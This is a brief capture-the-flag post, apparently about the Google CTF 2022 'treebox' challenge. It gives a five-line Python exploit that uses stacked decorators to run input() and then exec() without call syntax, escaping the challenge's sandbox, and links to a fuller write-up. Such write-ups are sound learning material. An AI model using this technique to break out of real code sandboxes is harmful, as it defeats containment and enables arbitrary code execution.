TL;DR:

**My exploit**
```python
@exec
@input
class X:
pass
```

Full writeup, including an analysis of a collection of different solutions and approaches: <https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/>